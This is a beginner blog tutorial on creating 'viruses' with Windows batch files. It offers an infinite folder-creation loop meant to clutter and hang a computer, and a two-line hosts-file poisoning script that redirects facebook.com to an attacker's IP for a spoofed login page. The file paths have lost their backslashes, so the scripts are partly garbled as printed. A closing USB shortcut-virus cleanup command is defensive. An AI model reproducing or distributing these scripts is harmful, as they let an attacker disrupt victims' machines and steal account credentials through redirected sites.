How to Create a Virus Using Batch File?

This is the final post on basic introduction to batch file programming. So, we will wind up the topics and see some practical applications of batch files. We basically know till now that batch files can be used to automate the tasks such as opening your favorite links all at once, automatically cleaning your computer, speed up your PC, deleting temporary files, and the list goes on. We will also see how batch files can be dangerous if misused and try to build a small virus program. In this tutorial we will see how to create a virus using batch file programming. Don’t worry, I’ll take enough precautions to have your computer in a safe state besides, illustrate how frustrating some batch files can be, if misused. Also I’ll be dealing with some commands that allow you to clean some sorts of virus files from your portable storage devices.

How to Create a Virus Using Batch File?

How to Create a Virus Using Batch File?

Folder Replication Virus

A folder replication virus creates a large number of empty folders that make our Computer fuzzy and odd to look. This doesn’t have much impact on our computer, but it’s really frustrating in real-time. The program creates folders at random locations. Deleting these folders is also not an easy task as these folder may be created at any location on our drive. So, we need to manually find and delete every such folder.

I’ve made some modifications to the program and removed the complexity to illustrate you how it works. You can run this file on your computer without any hesitation. It will create infinite number of empty folders with random name. I can assure you that this program will not have any bad impact on your PC.

Here is the program.

@echo off
cd C:Documents and SettingsusernameDesktop
:loop
md %RANDOM%
goto loop

1. The first line of the program conventionally sets the echo to off state.

2. Then we will be moving to on the Desktop using ‘cd’ command. 

3. Next I declare a loop label to iterate the block below it unconditionally. Using ‘md %RANDOM%’ command a folder is made with random name.

4. Next command ‘goto loop’ moves the control back to the label ‘loop’ and repeats the steps 3 and 4.

Note: Save the file with .bat extension and double click on it to start the folder replication virus. Just change “C:Documents and SettingsusernameDesktop” to the path where you want to create the folders. Your computer may hang when you open the directory where the folders are created.

DNS Poisoning

Now we’ll see how a 2 lines of code can hack your personal accounts. You may have heard about spoofing of websites where a hacker creates an exact copy of the target site and hosts it on a server that has a unique IP address. He can send you a batch file programmed to change your host files there by redirecting you to the target spoofed site instead of the original site. When you click the batch file, your hosts will be modified and you are almost vulnerable. Take a look at the program.

@echo off
echo 10.184.24.35 www.facebook .com >> C:windowssystem32driversetchosts.txt
exit

The above code writes the line to your host file and whenever you type facebook.com in your browser, you will be redirected to the ip address 10.184.24.35 where the attacker has spoofed and hosted the site.

Command to remove the shortcut virus from your USB drives

del *.lnk
attrib -h -r -s /s /d e:*.*

The first command allows you to delete the ‘.lnk’ files and the next one changes the attributes of the files and makes the visible to you where ‘e’ is your USB drive letter.

Final Words
As this is a basic intro to batch files, I could only cover less number of topics but very important ones. There is a lot more to learn. First master the basics and explore the internet for more stuff. If you have any doubts regarding how to create a virus using batch file then you can comment below.

9 thoughts on “How to Create a Virus Using Batch File?”

  1. Bhabuk Bhattarai

    You are doing great thing bro.
    I am looking forward for such some more ttournal.
    Keep up the work broo

Leave a Comment

Your email address will not be published. Required fields are marked *